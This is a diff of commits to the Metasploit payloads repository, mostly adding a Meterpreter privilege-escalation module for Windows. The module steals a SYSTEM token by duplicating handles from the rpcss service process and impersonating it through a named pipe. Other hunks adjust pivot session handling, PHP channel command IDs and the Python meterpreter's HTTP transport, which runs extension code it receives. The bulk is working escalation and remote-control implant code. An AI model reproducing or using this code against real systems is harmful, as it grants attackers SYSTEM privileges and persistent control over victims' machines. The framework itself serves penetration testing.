|
||||||
|
DWORD dwResult = ERROR_UNIDENTIFIED_ERROR;
|
||||||
|
POBJECT_TYPE_INFORMATION pObjTypeInfo = NULL;
|
||||||
|
ULONG ulLength = 0;
|
||||||
|
|
||||||
|
do {
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken)) {
|
||||||
|
BREAK_ON_ERROR("[ELEVATE] get_token_object_index. OpenProcessToken failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
hNtdll = GetModuleHandle("ntdll");
|
||||||
|
if (hNtdll == NULL) {
|
||||||
|
BREAK_ON_ERROR("[ELEVATE] get_token_object_index. GetModuleHandle(\"ntdll\") failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
pNtQueryObject = (NTQUERYOBJECT)(GetProcAddress(hNtdll, "NtQueryObject"));
|
||||||
|
if (pNtQueryObject == NULL) {
|
||||||
|
BREAK_ON_ERROR("[ELEVATE] get_token_object_index. GetProcAddress(hNtdll, \"NtQueryObject\") failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
status = pNtQueryObject(hToken, ObjectTypeInformation, NULL, 0, &ulLength);
|
||||||
|
if (NT_SUCCESS(status)) {
|
||||||
|
BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. NtQueryObject failed (1st call)", HRESULT_FROM_NT(status));
|
||||||
|
}
|
||||||
|
|
||||||
|
pObjTypeInfo = (POBJECT_TYPE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulLength);
|
||||||
|
if (pObjTypeInfo == NULL) {
|
||||||
|
BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. HeapAlloc failed", ERROR_NOT_ENOUGH_MEMORY);
|
||||||
|
}
|
||||||
|
|
||||||
|
status = pNtQueryObject(hToken, ObjectTypeInformation, pObjTypeInfo, ulLength, NULL);
|
||||||
|
if (!NT_SUCCESS(status)) {
|
||||||
|
BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. NtQueryObject failed (2nd call)", HRESULT_FROM_NT(status));
|
||||||
|
}
|
||||||
|
|
||||||
|
*TokenIndex = pObjTypeInfo->TypeIndex;
|
||||||
|
dwResult = ERROR_SUCCESS;
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
if (pObjTypeInfo) {
|
||||||
|
HeapFree(GetProcessHeap(), 0, pObjTypeInfo);
|
||||||
|
}
|
||||||
|
if (hToken) {
|
||||||
|
CloseHandle(hToken);
|
||||||
|
}
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD get_system_token(HANDLE hProc, PHANDLE phToken)
|
||||||
|
{
|
||||||
|
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;;
|
||||||
|
PPROCESS_HANDLE_SNAPSHOT_INFORMATION pHandleInfo = NULL;
|
||||||
|
ULONG ulLength = sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION);
|
||||||
|
ULONG tokenIndex;
|
||||||
|
ULONG i;
|
||||||
|
ULONG ulMaxPrivCount = 0;
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
HANDLE hBestToken = NULL;
|
||||||
|
HANDLE hThread = GetCurrentThread();
|
||||||
|
DWORD dwResult = ERROR_UNIDENTIFIED_ERROR;
|
||||||
|
TOKEN_STATISTICS tokenStats;
|
||||||
|
LUID systemLuid = SYSTEM_LUID;
|
||||||
|
HMODULE hNtdll = NULL;
|
||||||
|
NTQUERYINFORMATIONPROCESS pNtQueryInformationProcess = NULL;
|
||||||
|
|
||||||
|
do {
|
||||||
|
if (get_token_object_index(&tokenIndex) != ERROR_SUCCESS) {
|
||||||
|
BREAK_WITH_ERROR("[ELEVATE] get_system_token. get_token_object_index failed", ERROR_UNIDENTIFIED_ERROR);
|
||||||
|
}
|
||||||
|
|
||||||
|
hNtdll = GetModuleHandle("ntdll");
|
||||||
|
if (hNtdll == NULL) {
|
||||||
|
BREAK_ON_ERROR("[ELEVATE] get_system_token. GetModuleHandle(\"ntdll\") failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
pNtQueryInformationProcess = (NTQUERYINFORMATIONPROCESS)(GetProcAddress(hNtdll, "NtQueryInformationProcess"));
|
||||||
|
if (pNtQueryInformationProcess == NULL) {
|
||||||
|
BREAK_ON_ERROR("[ELEVATE] get_system_token. GetProcAddress(hNtdll, \"NtQueryInformationProcess\") failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
do {
|
||||||
|
ulLength += (sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO) * 16);
|
||||||
|
if (pHandleInfo) {
|
||||||
|
HeapFree(GetProcessHeap(), 0, pHandleInfo);
|
||||||
|
pHandleInfo = NULL;
|
||||||
|
}
|
||||||
|
pHandleInfo = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulLength);
|
||||||
|
if (pHandleInfo == NULL) {
|
||||||
|
BREAK_WITH_ERROR("[ELEVATE] get_system_token. HeapAlloc failed", ERROR_NOT_ENOUGH_MEMORY);
|
||||||
|
}
|
||||||
|
|
||||||
|
status = pNtQueryInformationProcess(hProc, ProcessHandleInformation, pHandleInfo, ulLength, &ulLength);
|
||||||
|
if (NT_SUCCESS(status)) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (status == STATUS_INFO_LENGTH_MISMATCH) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
dprintf("NtQueryInformationProcess returned NT_STATUS: %ul", status);
|
||||||
|
BREAK_WITH_ERROR("[ELEVATE] get_system_token. NtQueryInformationProcess failed", status);
|
||||||
|
} while (status == STATUS_INFO_LENGTH_MISMATCH);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status)) {
|
||||||
|
BREAK_WITH_ERROR("[ELEVATE] get_system_token. failed to retrieve process handle information", ERROR_UNIDENTIFIED_ERROR);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0; i < pHandleInfo->NumberOfHandles; i++) {
|
||||||
|
if (pHandleInfo->Handles[i].ObjectTypeIndex != tokenIndex) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((pHandleInfo->Handles[i].GrantedAccess & TOKEN_ALL_ACCESS) != TOKEN_ALL_ACCESS) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!DuplicateHandle(hProc, pHandleInfo->Handles[i].HandleValue, GetCurrentProcess(), &hToken, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
|
||||||
|
CONTINUE_ON_ERROR("[ELEVATE] get_system_token. DuplicateHandle failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &ulLength)) {
|
||||||
|
CloseHandle(hToken);
|
||||||
|
CONTINUE_ON_ERROR("[ELEVATE] get_system_token. GetTokenInformation failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!is_equal_luid(&tokenStats.AuthenticationId, &systemLuid)) {
|
||||||
|
CloseHandle(hToken);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (tokenStats.PrivilegeCount <= ulMaxPrivCount) {
|
||||||
|
CloseHandle(hToken);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// newer versions of windows have more defined privileges so update the best token to the one with the most
|
||||||
|
ulMaxPrivCount = tokenStats.PrivilegeCount;
|
||||||
|
if (hBestToken) {
|
||||||
|
CloseHandle(hBestToken);
|
||||||
|
}
|
||||||
|
hBestToken = hToken;
|
||||||
|
}
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
if (hBestToken) {
|
||||||
|
*phToken = hBestToken;
|
||||||
|
dwResult = ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
if (pHandleInfo) {
|
||||||
|
HeapFree(GetProcessHeap(), 0, pHandleInfo);
|
||||||
|
}
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD post_callback_use_rpcss(Remote* remote)
|
||||||
|
{
|
||||||
|
SC_HANDLE hScm = NULL;
|
||||||
|
SC_HANDLE hSvc = NULL;
|
||||||
|
HANDLE hProc = NULL;
|
||||||
|
HANDLE hThread = GetCurrentThread();
|
||||||
|
SERVICE_STATUS_PROCESS procInfo;
|
||||||
|
DWORD dwBytes;
|
||||||
|
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
|
||||||
|
do {
|
||||||
|
hScm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
|
||||||
|
if (hScm == NULL) {
|
||||||
|
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenSCManager failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
hSvc = OpenService(hScm, "rpcss", SERVICE_QUERY_STATUS);
|
||||||
|
if (hSvc == NULL) {
|
||||||
|
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenService failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&procInfo, sizeof(procInfo), &dwBytes)) {
|
||||||
|
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. QueryServiceStatusEx failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procInfo.dwProcessId);
|
||||||
|
if (hProc == NULL) {
|
||||||
|
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenProcess failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (get_system_token(hProc, &hToken) != ERROR_SUCCESS) {
|
||||||
|
BREAK_WITH_ERROR("[ELEVATE] post_callback_use_rpcss. get_system_token failed", ERROR_UNIDENTIFIED_ERROR);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!SetThreadToken(&hThread, hToken)) {
|
||||||
|
CloseHandle(hToken);
|
||||||
|
BREAK_WITH_ERROR("[ELEVATE] post_callback_use_rpcss. SetThreadToken failed", ERROR_ACCESS_DENIED);
|
||||||
|
}
|
||||||
|
|
||||||
|
dwResult = ERROR_SUCCESS;
|
||||||
|
dprintf("[ELEVATE] post_callback_use_rpcss. dispatching to use_self");
|
||||||
|
met_api->thread.update_token(remote, hToken);
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
if (hProc) {
|
||||||
|
CloseHandle(hProc);
|
||||||
|
hProc = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hSvc) {
|
||||||
|
CloseServiceHandle(hSvc);
|
||||||
|
hSvc = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hScm) {
|
||||||
|
CloseServiceHandle(hScm);
|
||||||
|
hScm = NULL;
|
||||||
|
}
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD elevate_via_service_namedpipe_rpcss(Remote* remote, Packet* packet)
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||||
|
THREAD* pThread = NULL;
|
||||||
|
HANDLE hSem = NULL;
|
||||||
|
char cPipeName1[MAX_PATH] = { 0 };
|
||||||
|
char cPipeName2[MAX_PATH] = { 0 };
|
||||||
|
HMODULE hNtdll = NULL;
|
||||||
|
OSVERSIONINFOEXW os = { 0 };
|
||||||
|
HANDLE hPipe = NULL;
|
||||||
|
DWORD dwPipeUid[2] = { 0, 0 };
|
||||||
|
PRIV_POST_IMPERSONATION PostImpersonation;
|
||||||
|
PRtlGetVersion pRtlGetVersion = NULL;
|
||||||
|
|
||||||
|
do {
|
||||||
|
hNtdll = GetModuleHandleA("ntdll");
|
||||||
|
if (hNtdll == NULL) {
|
||||||
|
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Failed to resolve RtlGetVersion");
|
||||||
|
}
|
||||||
|
|
||||||
|
pRtlGetVersion = (PRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
|
||||||
|
if (pRtlGetVersion == NULL) {
|
||||||
|
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Failed to resolve RtlGetVersion");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pRtlGetVersion(&os)) {
|
||||||
|
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: RtlGetVersion failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
// filter out systems older than Windows 8.1 / Server 2012 R2 (6.3) for this technique
|
||||||
|
if ((os.dwMajorVersion < 6) || (os.dwMajorVersion == 6 && os.dwMinorVersion < 3)) {
|
||||||
|
SetLastError(ERROR_CALL_NOT_IMPLEMENTED);
|
||||||
|
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Windows versions older than 6.3 are unsupported");
|
||||||
|
}
|
||||||
|
|
||||||
|
// generate a pseudo random name for the pipe
|
||||||
|
dwPipeUid[0] = ((rand() << 16) | rand());
|
||||||
|
dwPipeUid[1] = ((rand() << 16) | rand());
|
||||||
|
|
||||||
|
_snprintf_s(cPipeName1, sizeof(cPipeName1), MAX_PATH, "\\\\.\\pipe\\%08x%08x", dwPipeUid[0], dwPipeUid[1]);
|
||||||
|
// this *MUST* use the "\\localhost\pipe" prefix and not the "\\.\pipe" prefix
|
||||||
|
_snprintf_s(cPipeName2, sizeof(cPipeName2), MAX_PATH, "\\\\localhost\\pipe\\%08x%08x", dwPipeUid[0], dwPipeUid[1]);
|
||||||
|
|
||||||
|
dprintf("[ELEVATE] elevate_via_service_namedpipe_rpcss. using pipename: %s", cPipeName1);
|
||||||
|
|
||||||
|
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
||||||
|
PostImpersonation.pCallback = post_callback_use_rpcss;
|
||||||
|
PostImpersonation.pCallbackParam = remote;
|
||||||
|
pThread = met_api->thread.create(elevate_namedpipe_thread, &cPipeName1, hSem, &PostImpersonation);
|
||||||
|
if (!pThread) {
|
||||||
|
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. met_api->thread.create failed", ERROR_INVALID_HANDLE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!met_api->thread.run(pThread)) {
|
||||||
|
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. met_api->thread.run failed", ERROR_ACCESS_DENIED);
|
||||||
|
}
|
||||||
|
|
||||||
|
// wait for the thread to create the pipe, if it times out terminate
|
||||||
|
if (hSem) {
|
||||||
|
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
|
||||||
|
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. WaitForSingleObject failed", ERROR_ACCESS_DENIED);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
Sleep(500);
|
||||||
|
}
|
||||||
|
|
||||||
|
hPipe = CreateFile(cPipeName2, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||||
|
if (hPipe == INVALID_HANDLE_VALUE) {
|
||||||
|
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. CreateFile failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!WriteFile(hPipe, "\x00", 1, NULL, NULL)) {
|
||||||
|
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. WriteFile failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
WaitForSingleObject(pThread->handle, 5000);
|
||||||
|
met_api->thread.sigterm(pThread);
|
||||||
|
met_api->thread.join(pThread);
|
||||||
|
|
||||||
|
if (!GetExitCodeThread(pThread->handle, &dwResult)) {
|
||||||
|
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. GetExitCodeThread failed", ERROR_INVALID_HANDLE);
|
||||||
|
}
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
if (hPipe) {
|
||||||
|
CloseHandle(hPipe);
|
||||||
|
}
|
||||||
|
if (pThread) {
|
||||||
|
met_api->thread.destroy(pThread);
|
||||||
|
}
|
||||||
|
if (hSem) {
|
||||||
|
CloseHandle(hSem);
|
||||||
|
}
|
||||||
|
return dwResult;
|
||||||
|
}
|
6
c/meterpreter/source/extensions/priv/namedpipe_rpcss.h
Executable file
6
c/meterpreter/source/extensions/priv/namedpipe_rpcss.h
Executable file
@ -0,0 +1,6 @@
|
|||||||
|
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_RPCSS_H
|
||||||
|
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_RPCSS_H
|
||||||
|
|
||||||
|
DWORD elevate_via_service_namedpipe_rpcss(Remote* remote, Packet* packet);
|
||||||
|
|
||||||
|
#endif
|
24
c/meterpreter/source/metsrv/server_pivot_named_pipe.c
Normal file → Executable file
24
c/meterpreter/source/metsrv/server_pivot_named_pipe.c
Normal file → Executable file
@ -163,18 +163,18 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou
|
|||||||
dprintf("[PIPE] Request ID found and matches expected value");
|
dprintf("[PIPE] Request ID found and matches expected value");
|
||||||
// we have a response to our session guid request
|
// we have a response to our session guid request
|
||||||
DWORD sessionGuidLen = 0;
|
DWORD sessionGuidLen = 0;
|
||||||
LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID, 0);
|
LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID, &sessionGuidLen);
|
||||||
#ifdef DEBUGTRACE
|
if (sessionGuid != NULL && sessionGuidLen == sizeof(ctx->pivot_session_guid) && memcmp(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)) != 0)
|
||||||
PUCHAR h = (PUCHAR)&sessionGuid[0];
|
|
||||||
dprintf("[PIPE] Returned session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
|
|
||||||
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]);
|
|
||||||
h = (PUCHAR)&ctx->pivot_session_guid;
|
|
||||||
dprintf("[PIPE] Pivot session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
|
|
||||||
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]);
|
|
||||||
dprintf("[PIPE] Session pivot session guid size: %u", sizeof(ctx->pivot_session_guid));
|
|
||||||
#endif
|
|
||||||
if (sessionGuid != NULL && memcmp(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)) != 0)
|
|
||||||
{
|
{
|
||||||
|
#ifdef DEBUGTRACE
|
||||||
|
PUCHAR h = (PUCHAR)&sessionGuid[0];
|
||||||
|
dprintf("[PIPE] Returned session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
|
||||||
|
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]);
|
||||||
|
h = (PUCHAR)&ctx->pivot_session_guid;
|
||||||
|
dprintf("[PIPE] Pivot session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
|
||||||
|
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]);
|
||||||
|
dprintf("[PIPE] Session pivot session guid size: %u", sizeof(ctx->pivot_session_guid));
|
||||||
|
#endif
|
||||||
dprintf("[PIPE] Session guid returned, looks like the session is a reconnect");
|
dprintf("[PIPE] Session guid returned, looks like the session is a reconnect");
|
||||||
memcpy(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid));
|
memcpy(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid));
|
||||||
|
|
||||||
@ -212,7 +212,7 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou
|
|||||||
|
|
||||||
// with the session now established, we need to inform metasploit of the new connection
|
// with the session now established, we need to inform metasploit of the new connection
|
||||||
dprintf("[PIPE] Informing MSF of the new named pipe pivot");
|
dprintf("[PIPE] Informing MSF of the new named pipe pivot");
|
||||||
Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, COMMAND_ID_CORE_PIVOT_SESSION_DIED);
|
Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, COMMAND_ID_CORE_PIVOT_SESSION_NEW);
|
||||||
packet_add_tlv_raw(notification, TLV_TYPE_SESSION_GUID, (LPVOID)&ctx->pivot_session_guid, sizeof(ctx->pivot_session_guid));
|
packet_add_tlv_raw(notification, TLV_TYPE_SESSION_GUID, (LPVOID)&ctx->pivot_session_guid, sizeof(ctx->pivot_session_guid));
|
||||||
packet_add_tlv_raw(notification, TLV_TYPE_PIVOT_ID, (LPVOID)&ctx->pivot_id, sizeof(ctx->pivot_id));
|
packet_add_tlv_raw(notification, TLV_TYPE_PIVOT_ID, (LPVOID)&ctx->pivot_id, sizeof(ctx->pivot_id));
|
||||||
packet_transmit(ctx->remote, notification, NULL);
|
packet_transmit(ctx->remote, notification, NULL);
|
||||||
|
@ -362,6 +362,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
|||||||
<ClInclude Include="..\..\source\extensions\priv\elevate.h" />
|
<ClInclude Include="..\..\source\extensions\priv\elevate.h" />
|
||||||
<ClInclude Include="..\..\source\extensions\priv\fs.h" />
|
<ClInclude Include="..\..\source\extensions\priv\fs.h" />
|
||||||
<ClInclude Include="..\..\source\extensions\priv\namedpipe.h" />
|
<ClInclude Include="..\..\source\extensions\priv\namedpipe.h" />
|
||||||
|
<ClInclude Include="..\..\source\extensions\priv\namedpipe_rpcss.h" />
|
||||||
<ClInclude Include="..\..\source\extensions\priv\passwd.h" />
|
<ClInclude Include="..\..\source\extensions\priv\passwd.h" />
|
||||||
<ClInclude Include="..\..\source\extensions\priv\precomp.h" />
|
<ClInclude Include="..\..\source\extensions\priv\precomp.h" />
|
||||||
<ClInclude Include="..\..\source\extensions\priv\priv.h" />
|
<ClInclude Include="..\..\source\extensions\priv\priv.h" />
|
||||||
@ -372,6 +373,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
|||||||
<ClCompile Include="..\..\source\extensions\priv\elevate.c" />
|
<ClCompile Include="..\..\source\extensions\priv\elevate.c" />
|
||||||
<ClCompile Include="..\..\source\extensions\priv\fs.c" />
|
<ClCompile Include="..\..\source\extensions\priv\fs.c" />
|
||||||
<ClCompile Include="..\..\source\extensions\priv\namedpipe.c" />
|
<ClCompile Include="..\..\source\extensions\priv\namedpipe.c" />
|
||||||
|
<ClCompile Include="..\..\source\extensions\priv\namedpipe_rpcss.c" />
|
||||||
<ClCompile Include="..\..\source\extensions\priv\passwd.c" />
|
<ClCompile Include="..\..\source\extensions\priv\passwd.c" />
|
||||||
<ClCompile Include="..\..\source\extensions\priv\priv.c" />
|
<ClCompile Include="..\..\source\extensions\priv\priv.c" />
|
||||||
<ClCompile Include="..\..\source\extensions\priv\service.c" />
|
<ClCompile Include="..\..\source\extensions\priv\service.c" />
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
# -*- coding:binary -*-
|
# -*- coding:binary -*-
|
||||||
module MetasploitPayloads
|
module MetasploitPayloads
|
||||||
VERSION = '2.0.11'
|
VERSION = '2.0.17'
|
||||||
|
|
||||||
def self.version
|
def self.version
|
||||||
VERSION
|
VERSION
|
||||||
|
@ -860,7 +860,7 @@ function handle_dead_resource_channel($resource) {
|
|||||||
|
|
||||||
# Notify the client that this channel is dead
|
# Notify the client that this channel is dead
|
||||||
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, 'core_channel_close'));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_CLOSE));
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));
|
||||||
@ -878,7 +878,7 @@ function handle_resource_read_channel($resource, $data) {
|
|||||||
|
|
||||||
# Build a new Packet
|
# Build a new Packet
|
||||||
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, 'core_channel_write'));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_WRITE));
|
||||||
if (array_key_exists((int)$resource, $udp_host_map)) {
|
if (array_key_exists((int)$resource, $udp_host_map)) {
|
||||||
list($h,$p) = $udp_host_map[(int)$resource];
|
list($h,$p) = $udp_host_map[(int)$resource];
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h));
|
||||||
|
@ -22,7 +22,7 @@ else:
|
|||||||
has_windll = hasattr(ctypes, 'windll')
|
has_windll = hasattr(ctypes, 'windll')
|
||||||
|
|
||||||
try:
|
try:
|
||||||
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
|
urllib_imports = ['ProxyBasicAuthHandler', 'ProxyHandler', 'HTTPSHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
|
||||||
if sys.version_info[0] < 3:
|
if sys.version_info[0] < 3:
|
||||||
urllib = __import__('urllib2', fromlist=urllib_imports)
|
urllib = __import__('urllib2', fromlist=urllib_imports)
|
||||||
else:
|
else:
|
||||||
@ -969,6 +969,7 @@ class HttpTransport(Transport):
|
|||||||
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
|
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
|
||||||
if proxy:
|
if proxy:
|
||||||
opener_args.append(urllib.ProxyHandler({scheme: proxy}))
|
opener_args.append(urllib.ProxyHandler({scheme: proxy}))
|
||||||
|
opener_args.append(urllib.ProxyBasicAuthHandler())
|
||||||
self.proxy = proxy
|
self.proxy = proxy
|
||||||
opener = urllib.build_opener(*opener_args)
|
opener = urllib.build_opener(*opener_args)
|
||||||
opener.addheaders = []
|
opener.addheaders = []
|
||||||
@ -1004,8 +1005,11 @@ class HttpTransport(Transport):
|
|||||||
packet = None
|
packet = None
|
||||||
xor_key = None
|
xor_key = None
|
||||||
request = urllib.Request(self.url, None, self._http_request_headers)
|
request = urllib.Request(self.url, None, self._http_request_headers)
|
||||||
|
urlopen_kwargs = {}
|
||||||
|
if sys.version_info > (2, 6):
|
||||||
|
urlopen_kwargs['timeout'] = self.communication_timeout
|
||||||
try:
|
try:
|
||||||
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
|
url_h = urllib.urlopen(request, **urlopen_kwargs)
|
||||||
packet = url_h.read()
|
packet = url_h.read()
|
||||||
for _ in range(1):
|
for _ in range(1):
|
||||||
if packet == '':
|
if packet == '':
|
||||||
@ -1034,7 +1038,10 @@ class HttpTransport(Transport):
|
|||||||
|
|
||||||
def _send_packet(self, packet):
|
def _send_packet(self, packet):
|
||||||
request = urllib.Request(self.url, packet, self._http_request_headers)
|
request = urllib.Request(self.url, packet, self._http_request_headers)
|
||||||
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
|
urlopen_kwargs = {}
|
||||||
|
if sys.version_info > (2, 6):
|
||||||
|
urlopen_kwargs['timeout'] = self.communication_timeout
|
||||||
|
url_h = urllib.urlopen(request, **urlopen_kwargs)
|
||||||
response = url_h.read()
|
response = url_h.read()
|
||||||
|
|
||||||
def patch_uri_path(self, new_path):
|
def patch_uri_path(self, new_path):
|
||||||
@ -1423,7 +1430,7 @@ class PythonMeterpreter(object):
|
|||||||
libname = match.group(1)
|
libname = match.group(1)
|
||||||
|
|
||||||
self.last_registered_extension = None
|
self.last_registered_extension = None
|
||||||
symbols_for_extensions = {'meterpreter':self}
|
symbols_for_extensions = {'meterpreter': self}
|
||||||
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
||||||
i = code.InteractiveInterpreter(symbols_for_extensions)
|
i = code.InteractiveInterpreter(symbols_for_extensions)
|
||||||
i.runcode(compile(data_tlv['value'], 'ext_server_' + libname + '.py', 'exec'))
|
i.runcode(compile(data_tlv['value'], 'ext_server_' + libname + '.py', 'exec'))
|
||||||
|
Loading…
x
Reference in New Issue
Block a user